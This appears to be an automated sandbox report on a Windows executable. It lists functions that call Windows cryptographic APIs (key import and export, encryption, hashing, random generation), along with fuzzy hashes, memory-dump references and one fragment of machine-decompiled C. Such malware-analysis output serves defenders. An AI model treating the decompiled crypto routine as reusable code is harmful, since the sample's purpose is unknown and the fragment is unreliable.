Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 108552ab9592dadf10e98d055ffe146202b4ee387c429aab45369c8304efe1e9
Instruction ID: 8ad74f25331f6f6b8e12f43d3c85f663148d94c1059b8d464b9409bfa7de5b76
Opcode Fuzzy Hash: 108552ab9592dadf10e98d055ffe146202b4ee387c429aab45369c8304efe1e9
Instruction Fuzzy Hash: CD313563B14A958BEB10CE29D4443E97B61EB84BE5F459236DE4C87B95EE3CD04EC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D787EE4 Relevance: 3.1, APIs: 2, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF61D787956), ref: 00007FF61D787F73
CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF61D787956), ref: 00007FF61D787FA0

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptImportmemmove
String ID:
API String ID: 3388866568-0
Opcode ID: 0a44e06cf8cf87a8ecb6b14cdd2bff3535125945377145758b3b7bc5875d9652
Instruction ID: aad65fe93afd515d1dbaef9e0031fcde164388c4d68898c2c049c8c8dc0bb0cf
Opcode Fuzzy Hash: 0a44e06cf8cf87a8ecb6b14cdd2bff3535125945377145758b3b7bc5875d9652
Instruction Fuzzy Hash: 5F214433618F4086D720CF25F44455AB3B8F799BA0B109225DBED83B54EF79E59ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78C700 Relevance: 3.0, APIs: 2, Instructions: 48encryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61D78C74E
CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF61D78CCB9), ref: 00007FF61D78C780

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptExportmemset
String ID:
API String ID: 632872164-0
Opcode ID: 74b3f343fc8346257b42aef7bf3088e0686fc1ce27d77a43d79d520f35e0140b
Instruction ID: db926beb8257b28e5d82ff8e50fe4a85c3d25517188a61c2f9ef04b10ef450aa
Opcode Fuzzy Hash: 74b3f343fc8346257b42aef7bf3088e0686fc1ce27d77a43d79d520f35e0140b
Instruction Fuzzy Hash: 31118E73614F8086EB14CF25E440799B7A4F389BA4F448221DBAC43B94DF7CD169C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7824D8 Relevance: 3.0, APIs: 2, Instructions: 48encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32 ref: 00007FF61D782537

Part of subcall function 00007FF61D782458: memset.MSVCRT ref: 00007FF61D7824B6

CryptStringToBinaryA.CRYPT32 ref: 00007FF61D78258C

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID:
API String ID: 1505698593-0
Opcode ID: efaac0d0c78289fc81a445dc839096c327ff4e353b207626dd91201bbdccede8
Instruction ID: 81253e2068de3f14dea41a849355544353d8fbec99d71872356febb8a094b0a4
Opcode Fuzzy Hash: efaac0d0c78289fc81a445dc839096c327ff4e353b207626dd91201bbdccede8
Instruction Fuzzy Hash: EC211877624B8486D700CF29E18836D77A5F398FA8F604315DB98477A8CF78D559CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7823AC Relevance: 3.0, APIs: 2, Instructions: 44encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32 ref: 00007FF61D782401
CryptBinaryToStringA.CRYPT32 ref: 00007FF61D782443

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 667dfbbcfb38042d5eaed4dc45b1471f4e580f730896456ccbc9f12fafb41b72
Instruction ID: c91535d65e60f591e6f75a438964d1a8e17bcf82876fe3b32824d6b4d71065cf
Opcode Fuzzy Hash: 667dfbbcfb38042d5eaed4dc45b1471f4e580f730896456ccbc9f12fafb41b72
Instruction Fuzzy Hash: 69112873314F8086DB00CF29E484A19B3A5F388FE8B218225DAAD87758DF79D859C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D786C44 Relevance: 3.0, APIs: 2, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF61D787128: CryptCreateHash.ADVAPI32 ref: 00007FF61D78714C

CryptHashData.ADVAPI32 ref: 00007FF61D786C91

Part of subcall function 00007FF61D787188: CryptGetHashParam.ADVAPI32 ref: 00007FF61D7871DD

CryptDestroyHash.ADVAPI32 ref: 00007FF61D786CB6

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptHash$CreateDataDestroyParam
String ID:
API String ID: 1275266669-0
Opcode ID: f8804d86ef30bbb79539d457d3621321cbe97822996871191b95454e254bed11
Instruction ID: 3d46e063e922533830281cae7cb8d861527b9e2df86e20ec25ee10c5305dba66
Opcode Fuzzy Hash: f8804d86ef30bbb79539d457d3621321cbe97822996871191b95454e254bed11
Instruction Fuzzy Hash: E001D422A24E4081EB109B28E945369A320EBC1FF0F504321DB6947BE5EF7DD098C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D788100 Relevance: 3.0, APIs: 2, Instructions: 25encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D788130
free.MSVCRT ref: 00007FF61D788145

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroyfree
String ID:
API String ID: 918605230-0
Opcode ID: 107c9d5df43c3e55481bc130910bec4d81355a8d2b9723f3eb5bde35f778b919
Instruction ID: 0ec5b16e15ed626827a73fe5bfdac257955f31a111593cb4ce8b05cf530ec3d0
Opcode Fuzzy Hash: 107c9d5df43c3e55481bc130910bec4d81355a8d2b9723f3eb5bde35f778b919
Instruction Fuzzy Hash: 07F0FE32615F4181EB148B19F845365A360EB8AFB5F685334DAAD467E4EF3CD49A8700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D784990 Relevance: 3.0, APIs: 2, Instructions: 24encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D7849BC
free.MSVCRT ref: 00007FF61D7849D1

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroyfree
String ID:
API String ID: 918605230-0
Opcode ID: 84de3e9f931fd7f13869ad39b0bdcfd9f34c375c4ebc64203f1c602a89bf1f01
Instruction ID: abbad0382ac9dabbbdd1c85f380a3fcb4ac022d523e190d70c94a89a6af6064b
Opcode Fuzzy Hash: 84de3e9f931fd7f13869ad39b0bdcfd9f34c375c4ebc64203f1c602a89bf1f01
Instruction Fuzzy Hash: 98F01232615F4181EB248B19E4053656360FB8AF75F595335CA7D463E5DF3CD45AC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D792CC4 Relevance: 3.0, APIs: 2, Instructions: 15encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32 ref: 00007FF61D792CD6
CryptReleaseContext.ADVAPI32 ref: 00007FF61D792CF2

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: de5fbd3aa081d1c17c205c5b3cf4645eb49734e21fd472691bfd4f3f642b9f0c
Instruction ID: 6f1ef52cec8edb91b8826a03a74464384cbcddf2ef82dadc7f34e55a266f2b2d
Opcode Fuzzy Hash: de5fbd3aa081d1c17c205c5b3cf4645eb49734e21fd472691bfd4f3f642b9f0c
Instruction Fuzzy Hash: E7E0EC17F0AE0681FB4D9B2DAC963301261BF84F35FC44635C40D86164EF3C606E9304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78BAFC Relevance: 1.6, APIs: 1, Instructions: 65
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00007FF67FF61D78BAFC(void* __eflags, long long __rbx, long long __rcx, long long __rsi, void* __r8) {
				void* __rbp;
				void* _t37;
				void* _t40;
				void* _t54;
				void* _t60;
				void* _t61;
				void* _t63;
				long long _t69;

				_t40 = _t63;
				 *((long long*)(_t40 + 8)) = __rcx;
				_t61 = _t40 - 0x5f;
				 *((long long*)(_t61 + 0x3f)) = 0xfffffffe;
				 *((long long*)(_t40 + 0x10)) = __rbx;
				 *((long long*)(_t40 + 0x20)) = __rsi;
				r14d = 0;
				 *((intOrPtr*)(_t61 - 0x59)) = r14d;
				 *((long long*)(_t61 + 0x77)) = _t61 - 0x29;
				 *((long long*)(_t61 - 0x29)) = 0x1d7936d8;
				 *((long long*)(_t61 - 0x29)) = 0x1d793c70;
				 *((long long*)(_t61 - 0x21)) = _t69;
				 *((long long*)(_t61 - 0x29)) = 0x1d7948b0;
				 *((intOrPtr*)(_t61 - 0x49)) = 0x208;
				 *((intOrPtr*)(_t61 - 0x45)) = 0x660e;
				 *((intOrPtr*)(_t61 - 0x41)) = 0x10;
				 *((long long*)(_t61 - 0x3d)) = 0x1d7948b0;
				 *((long long*)(_t61 - 0x35)) = 0x1d7948b0;
				asm("movups xmm0, [ebp-0x49]");
				asm("movups [ebp-0x19], xmm0");
				asm("movsd xmm1, [ebp-0x39]");
				asm("movsd [ebp-0x9], xmm1");
				 *((intOrPtr*)(_t61 - 1)) =  *((intOrPtr*)(_t61 - 0x31));
				 *((long long*)(_t61 + 3)) = 0x1d7948b0;
				 *((long long*)(_t61 + 0xb)) = 0x1d7948b0;
				E00007FF67FF61D787CD8();
				asm("movups xmm0, [ebx]");
				asm("movdqu [ebp-0x49], xmm0");
				_t37 = E00007FF67FF61D787D74(__eflags, __r8, _t61 - 0x29, __rcx, _t61 - 0x49);
				 *((intOrPtr*)(_t61 - 0x59)) = 1;
				 *((long long*)(_t61 + 0x77)) = _t61 - 0x29;
				 *((long long*)(_t61 - 0x29)) = 0x1d793c70;
				if ( *((intOrPtr*)(_t61 - 0x21)) == 0) goto 0x1d78bbe5;
				__imp__CryptDestroyKey(_t69, _t54, _t60);
				 *((long long*)(_t61 - 0x21)) = _t69;
				return _t37;
			}

0x7ff61d78bafc
0x7ff61d78baff
0x7ff61d78bb07
0x7ff61d78bb12
0x7ff61d78bb1a
0x7ff61d78bb1e
0x7ff61d78bb28
0x7ff61d78bb2b
0x7ff61d78bb33
0x7ff61d78bb3e
0x7ff61d78bb49
0x7ff61d78bb4d
0x7ff61d78bb58
0x7ff61d78bb5c
0x7ff61d78bb63
0x7ff61d78bb6a
0x7ff61d78bb73
0x7ff61d78bb77
0x7ff61d78bb7b
0x7ff61d78bb7f
0x7ff61d78bb83
0x7ff61d78bb88
0x7ff61d78bb90
0x7ff61d78bb95
0x7ff61d78bb99
0x7ff61d78bba1
0x7ff61d78bba7
0x7ff61d78bbaa
0x7ff61d78bbba
0x7ff61d78bbbf
0x7ff61d78bbca
0x7ff61d78bbce
0x7ff61d78bbd9
0x7ff61d78bbdb
0x7ff61d78bbe1
0x7ff61d78bbff

APIs

Part of subcall function 00007FF61D787CD8: memset.MSVCRT ref: 00007FF61D787CF2

Part of subcall function 00007FF61D787D74: memmove.MSVCRT ref: 00007FF61D787DE8
Part of subcall function 00007FF61D787D74: memmove.MSVCRT ref: 00007FF61D787E12
Part of subcall function 00007FF61D787D74: CryptEncrypt.ADVAPI32 ref: 00007FF61D787E48

CryptDestroyKey.ADVAPI32 ref: 00007FF61D78BBDB

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: Cryptmemmove$DestroyEncryptmemset
String ID:
API String ID: 3702594739-0
Opcode ID: 1988810de55e450a7dcbbd6f72bc674eb5644f11f19520cf613284506a11cc62
Instruction ID: 35fc497fae5e222fc68768dc46e191f406feaf9b8e8296dfc605b7ad9361f12a
Opcode Fuzzy Hash: 1988810de55e450a7dcbbd6f72bc674eb5644f11f19520cf613284506a11cc62
Instruction Fuzzy Hash: C431D232B15F449EE710CFA4E4402DD33BAE748B68B004229DE5D63B98EE34956AC344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D787188 Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32 ref: 00007FF61D7871DD

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptHashParam
String ID:
API String ID: 1839025277-0
Opcode ID: db999523eee20e65e81491180840d3b080035a4f8eeb0aa2c7e5dbb14e15e403
Instruction ID: 6fde418fc97878ec0800fd188f4fbcdd8161141455af23ea72c37ae7117fa257
Opcode Fuzzy Hash: db999523eee20e65e81491180840d3b080035a4f8eeb0aa2c7e5dbb14e15e403
Instruction Fuzzy Hash: 1FF06772204B8083E7048B16E5093A9B360F784BB4F104324DBA907BD8CBBCD4488B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7825A4 Relevance: 1.5, APIs: 1, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptGenRandom.ADVAPI32 ref: 00007FF61D7825E4

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptRandom
String ID:
API String ID: 2662593985-0
Opcode ID: b934be8c46137401ebb1425cdfa92bea1aeabad3a0986b1b6992e53d83c7e6e5
Instruction ID: 09d950d69b92a490ecd7acb1a573438d239f46d6c4fc6656e4f26b8a44ee44c1
Opcode Fuzzy Hash: b934be8c46137401ebb1425cdfa92bea1aeabad3a0986b1b6992e53d83c7e6e5
Instruction Fuzzy Hash: 0CE09272514B8082DB248F29E80526AA321F785FF8F044334DEB80B3D8CF3CD0598B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D787C94 Relevance: 1.5, APIs: 1, Instructions: 18encryptionCOMMON

Download Yara Rule

APIs

CryptDuplicateHash.ADVAPI32 ref: 00007FF61D787CBE

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDuplicateHash
String ID:
API String ID: 2532617884-0
Opcode ID: 2febab4d72757e925c90ecc2fbc2cb0b6e82e25ab72e1d07192773adc3837ab2
Instruction ID: b05ce6d61743699ac81d76088034e3e9285811c77b5afd3b9313df7d4185dcab
Opcode Fuzzy Hash: 2febab4d72757e925c90ecc2fbc2cb0b6e82e25ab72e1d07192773adc3837ab2
Instruction Fuzzy Hash: 33E04873514A4083D7248F15D41571A7251F385779F144720DEB8066D4CB7DC1594A04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7874EC Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D78751A

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: ed6f3d7615e1da6151ecd7f574b476e6a0ba28ad7f4ec88125a706adb9b709a1
Instruction ID: d0b5bbedd1cb2e004c276da649f1585781b7382e0b24115b3e24dcac00d3ff52
Opcode Fuzzy Hash: ed6f3d7615e1da6151ecd7f574b476e6a0ba28ad7f4ec88125a706adb9b709a1
Instruction Fuzzy Hash: 39E01A76925F8191DB108B54E444324B364EB49B35F284324DABD456E4EF3CC45AC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78752C Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D78755A

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: 51613fabb7c67d747fd16de380e8594907338994f1a37f549f0ebef8b51bf4ba
Instruction ID: 2374febbfe0502bea22ec18d56248422c2cf95e89cb6c50bc0f28c727606c48a
Opcode Fuzzy Hash: 51613fabb7c67d747fd16de380e8594907338994f1a37f549f0ebef8b51bf4ba
Instruction Fuzzy Hash: 47E01A76915F8191DB108B54E444324B364EB49B35F248324DABE456E4EF3CD45AC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78756C Relevance: 1.5, APIs: 1, Instructions: 16encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D787595

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: b6027d45b89263390a5069778c969f35cd75d8a3f2d137991138d65aedf8abb9
Instruction ID: 2fad9c2be3d7a383355ae706381d1b8fb2fdcbef0eae4d6c8566f6cb245489e1
Opcode Fuzzy Hash: b6027d45b89263390a5069778c969f35cd75d8a3f2d137991138d65aedf8abb9
Instruction Fuzzy Hash: 06E04666A26F8181EB108B24E444324A320EB48B35F288330CABE452E0EF2CC49A8300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D784934 Relevance: 1.5, APIs: 1, Instructions: 15encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D784959

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: dafd4a503fd81bb8c9fc142259c52aee2c214b0a68434144a097b4d337853312
Instruction ID: 39d856645b569a502399a4d6b3ecea15fd3b615475594c9744f593dcbf9f1a84
Opcode Fuzzy Hash: dafd4a503fd81bb8c9fc142259c52aee2c214b0a68434144a097b4d337853312
Instruction Fuzzy Hash: 7BE0EC66A26E8581EB254B24E444324A324EB59B39F584325CA7D452E0EF2C845A8300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D787128 Relevance: 1.5, APIs: 1, Instructions: 14encryptionCOMMON

Download Yara Rule

APIs

CryptCreateHash.ADVAPI32 ref: 00007FF61D78714C

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CreateCryptHash
String ID:
API String ID: 4184778727-0
Opcode ID: 84562b01fa8cdc69cf8a9a41ed65f76bafc28027125d5bb43e1abf0baf2ad5aa
Instruction ID: d3e2a6777404d6dc7a85631e6f8aa120b0cdb17e5b32b37453e85f7d10a636e5
Opcode Fuzzy Hash: 84562b01fa8cdc69cf8a9a41ed65f76bafc28027125d5bb43e1abf0baf2ad5aa
Instruction Fuzzy Hash: 7DD05E26A2494583F7500B68A815B355211B798B64F445030CE4C46B109E2C91268A04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78715C Relevance: 1.5, APIs: 1, Instructions: 13encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32 ref: 00007FF61D787176

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

